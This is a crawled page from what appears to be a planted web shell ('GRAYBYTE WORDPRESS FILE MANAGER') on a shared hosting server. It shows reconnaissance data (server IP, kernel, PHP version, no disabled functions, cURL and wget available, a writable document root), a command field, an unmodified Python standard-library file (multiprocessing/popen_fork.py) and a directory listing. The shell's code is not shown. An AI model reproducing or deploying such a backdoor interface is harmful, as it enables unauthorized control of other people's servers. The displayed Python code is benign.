GRAYBYTE WORDPRESS FILE MANAGER9169

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python37/lib64/python3.7/multiprocessing/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python37/lib64/python3.7/multiprocessing//popen_fork.py
import os
import sys
import signal

from . import util

__all__ = ['Popen']

#
# Start child process using fork
#

class Popen(object):
    method = 'fork'

    def __init__(self, process_obj):
        util._flush_std_streams()
        self.returncode = None
        self.finalizer = None
        self._launch(process_obj)

    def duplicate_for_child(self, fd):
        return fd

    def poll(self, flag=os.WNOHANG):
        if self.returncode is None:
            try:
                pid, sts = os.waitpid(self.pid, flag)
            except OSError as e:
                # Child process not yet created. See #1731717
                # e.errno == errno.ECHILD == 10
                return None
            if pid == self.pid:
                if os.WIFSIGNALED(sts):
                    self.returncode = -os.WTERMSIG(sts)
                else:
                    assert os.WIFEXITED(sts), "Status is {:n}".format(sts)
                    self.returncode = os.WEXITSTATUS(sts)
        return self.returncode

    def wait(self, timeout=None):
        if self.returncode is None:
            if timeout is not None:
                from multiprocessing.connection import wait
                if not wait([self.sentinel], timeout):
                    return None
            # This shouldn't block if wait() returned successfully.
            return self.poll(os.WNOHANG if timeout == 0.0 else 0)
        return self.returncode

    def _send_signal(self, sig):
        if self.returncode is None:
            try:
                os.kill(self.pid, sig)
            except ProcessLookupError:
                pass
            except OSError:
                if self.wait(timeout=0.1) is None:
                    raise

    def terminate(self):
        self._send_signal(signal.SIGTERM)

    def kill(self):
        self._send_signal(signal.SIGKILL)

    def _launch(self, process_obj):
        code = 1
        parent_r, child_w = os.pipe()
        self.pid = os.fork()
        if self.pid == 0:
            try:
                os.close(parent_r)
                code = process_obj._bootstrap()
            finally:
                os._exit(code)
        else:
            os.close(child_w)
            self.finalizer = util.Finalize(self, os.close, (parent_r,))
            self.sentinel = parent_r

    def close(self):
        if self.finalizer is not None:
            self.finalizer()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2024 08:32:20
root / linksafe
0755
__pycache__
--
May 20 2024 08:32:20
root / linksafe
0755
dummy
--
May 20 2024 08:32:20
root / linksafe
0755
__init__.py
0.901 KB
April 17 2024 17:36:03
root / linksafe
0644
connection.py
30.564 KB
April 17 2024 17:36:04
root / linksafe
0644
context.py
10.667 KB
April 17 2024 17:36:04
root / linksafe
0644
forkserver.py
12.11 KB
April 17 2024 17:36:04
root / linksafe
0644
heap.py
8.709 KB
April 17 2024 17:36:03
root / linksafe
0644
managers.py
40.024 KB
April 17 2024 17:36:03
root / linksafe
0644
pool.py
26.205 KB
April 17 2024 17:36:04
root / linksafe
0644
popen_fork.py
2.338 KB
April 17 2024 17:36:04
root / linksafe
0644
popen_forkserver.py
1.969 KB
April 17 2024 17:36:03
root / linksafe
0644
popen_spawn_posix.py
1.876 KB
April 17 2024 17:36:03
root / linksafe
0644
popen_spawn_win32.py
3.678 KB
April 17 2024 17:36:04
root / linksafe
0644
process.py
10.301 KB
April 17 2024 17:36:04
root / linksafe
0644
queues.py
11.315 KB
April 17 2024 17:36:03
root / linksafe
0644
reduction.py
9.142 KB
April 17 2024 17:36:04
root / linksafe
0644
resource_sharer.py
5.226 KB
April 17 2024 17:36:03
root / linksafe
0644
semaphore_tracker.py
5.339 KB
April 17 2024 17:36:04
root / linksafe
0644
sharedctypes.py
6.158 KB
April 17 2024 17:36:04
root / linksafe
0644
spawn.py
8.641 KB
April 17 2024 17:36:04
root / linksafe
0644
synchronize.py
11.313 KB
April 17 2024 17:36:04
root / linksafe
0644
util.py
13.355 KB
April 17 2024 17:36:03
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF